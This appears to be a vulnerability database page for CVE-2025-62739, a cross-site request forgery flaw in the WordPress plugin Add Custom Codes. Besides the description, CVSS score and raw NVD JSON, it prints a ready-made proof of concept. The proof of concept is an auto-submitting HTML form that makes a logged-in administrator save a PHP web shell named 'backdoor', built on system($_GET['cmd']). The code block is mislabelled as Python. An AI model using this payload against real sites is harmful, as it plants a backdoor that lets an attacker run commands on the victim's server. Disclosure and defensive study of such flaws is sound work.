Security Vulnerability Report
中文
CVE-2025-62739 CVSS 6.5 MEDIUM

CVE-2025-62739

Published: 2025-12-09 16:18:03
Last Modified: 2026-04-27 18:16:26

Description

Cross-Site Request Forgery (CSRF) vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Cross Site Request Forgery.This issue affects Add Custom Codes: from n/a through <= 4.80.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Add Custom Codes插件 <= 4.80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-62739 --> <!-- WordPress Add Custom Codes Plugin <= 4.80 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSRF Attack PoC</title> </head> <body> <h2>CVE-2025-62739 CSRF PoC</h2> <p>Add Custom Codes Plugin CSRF Vulnerability</p> <!-- Auto-submit form to add malicious custom code --> <form action="http://target-site.com/wp-admin/admin.php?page=add-custom-codes" method="POST" id="csrfForm"> <input type="hidden" name="action" value="save_custom_code"> <input type="hidden" name="code_type" value="php"> <input type="hidden" name="code_content" value="<?php system($_GET['cmd']); ?>"> <input type="hidden" name="code_name" value="backdoor"> <input type="hidden" name="code_location" value="header"> </form> <script> // Auto-submit when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this text, the form submission failed.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62739", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:02.753", "lastModified": "2026-04-27T18:16:26.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in SaifuMak Add Custom Codes add-custom-codes allows Cross Site Request Forgery.This issue affects Add Custom Codes: from n/a through <= 4.80."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-plugin-4-80-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}